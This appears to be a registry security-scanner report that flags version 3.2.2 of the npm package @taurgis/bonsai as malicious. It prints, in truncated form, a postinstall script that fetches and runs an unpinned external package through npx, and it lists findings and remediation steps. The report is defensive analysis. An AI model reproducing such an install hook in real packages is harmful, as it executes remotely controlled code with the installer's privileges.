registry / Remote code execution / @taurgis/bonsai

@taurgis/bonsai

Bonsai is a standalone local research cache CLI for AI agents

This report shows the evidence for @taurgis/bonsai@3.2.2. 2 of 3 known versions are blocked or flagged. The newest version, 4.1.1, is flagged. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The install-time undeclared, unpinned npx execution is a concrete remote-code-execution loader. Other observed network, browser, and agent-hook behavior is package-aligned and does not mitigate that lifecycle risk.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall outside CI without FORWARD_NEXUS_SKIP_SYNC

Impact

Remote package code can perform arbitrary actions in the installer environment.

Mechanism

unversioned external package execution via npx

Attack narrative

The postinstall lifecycle command runs `npx forward-nexus sync --pull` through child_process. Because forward-nexus is not a declared dependency or pinned version, installation can fetch and execute externally controlled package code with the installer’s privileges. The inspected package contains no source that constrains that external command or limits its effects.

AI rationale

Evidence

package.jsonbin/cli.mjsdist/lib/research/fetcher.jsdist/lib/research/browser.jsagents/hooks/README.mdagents/hooks/codex/hooks.json

Decision evidence

public snapshot

AI called this Malicious at 91.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json postinstall invokes npx forward-nexus sync --pull.
forward-nexus is absent from declared dependencies, so install executes an unpinned external package.
The hook runs during npm installation unless CI or FORWARD_NEXUS_SKIP_SYNC is set.

Evidence against

CLI network access is user-invoked URL fetching with DNS/private-address safeguards.
Packaged AI-agent hooks are documented examples; no package code installs or copies them.
Browser child-process use launches a local Chrome only for explicit rendered fetching.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetworkShellWebSocket

Supply chain

HighEntropyStringsUrlStrings

Manifest

NoLicense

scanned 92 file(s), 432 KB of source, external domains: bonsai.rhino-inquisitor.com, docs.nestjs.com, example.com, help.salesforce.com, news.ycombinator.com, raw.githubusercontent.com, react.dev

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node -e "if (process.env.CI || process.env.FORWARD_NEXUS_SKIP_SYNC) { console.log('Skipping forward-nexus sync.'); process.exit(0); } require('node:child_process').execFileSync('np...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/lib/research/browser.jsView file

Lines 1-21javascript

1import { spawn } from 'node:child_process';

2import { existsSync } from 'node:fs';

High

Child Process

Package source references child process execution.

dist/lib/research/browser.jsView on unpkg · L1

3import { execSync } from 'node:child_process';

4import { join } from 'node:path';

5import { checkDnsSafety } from './fetcher.js';

6import { getChromeProxyArgs, getChromeSpkiArgs, getChromeTlsCompatibilityArgs, isProxyConfigured, } from './proxy.js';

7import { normalizeUrl } from './url.js';

8export class CdpClient {

9 ws;

10 nextId = 1;

11 pending = new Map();

12 handlers = new Map();

13 constructor(url) {

14 this.ws = new WebSocket(url);

15 }

16 connect() {

17 return new Promise((resolve, reject) => {

18 this.ws.onopen = () => resolve();

19 this.ws.onerror = (err) => reject(err);

20 this.ws.onmessage = (event) => {

21 const msg = JSON.parse(event.data);

package.json#scripts.postinstallView file

1if (process.env.CI || process.env.FORWARD_NEXUS_SKIP_SYNC) { console.log('Skipping forward-nexus sync.'); process.exit(0); } require('node:child_process').execFileSync('npx', ['for...

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

package.json#scripts.postinstallView on unpkg · L1

1if (process.env.CI || process.env.FORWARD_NEXUS_SKIP_SYNC) { console.log('Skipping forward-nexus sync.'); process.exit(0); } require('node:child_process').execFileSync('npx', ['for...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

package.json#scripts.postinstallView on unpkg · L1

agents/hooks/claude-code/hooks/bonsai-web-fetch.shView file

•path = agents/hooks/claude-code/hooks/bonsai-web-fetch.sh kind = build_helper sizeBytes = 686 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

agents/hooks/claude-code/hooks/bonsai-web-fetch.shView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/lib/research/browser.jsView file

1import { spawn } from 'node:child_process'; L2: import { existsSync } from 'node:fs';

High

Child Process

Package source references child process execution.

Findings

1 Critical4 High5 Medium5 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processdist/lib/research/browser.js

HighShell

HighRuntime Package Installpackage.json#scripts.postinstall

MediumDynamic Requirepackage.json#scripts.postinstall

MediumNetwork

MediumEnvironment Vars

MediumShips Build Helperagents/hooks/claude-code/hooks/bonsai-web-fetch.sh

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Low

Affected versions and remediation

This report applies to @taurgis/bonsai@3.2.2.

The versions list below shows the verdict for each recorded version.

Avoid installing @taurgis/bonsai@3.2.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-20 20:46:28.480Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

4.1.1latestSuspiciousInstall Hook AbuseWarnPublishedOct 17, 2026, 11:19 AM 3.2.2shownMaliciousRemote Code ExecutionBlockPublishedJul 20, 2026, 8:43 PM 3.0.2MaliciousSoft block: AI-agent control surfaceBlockPublishedJul 9, 2026, 7:43 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code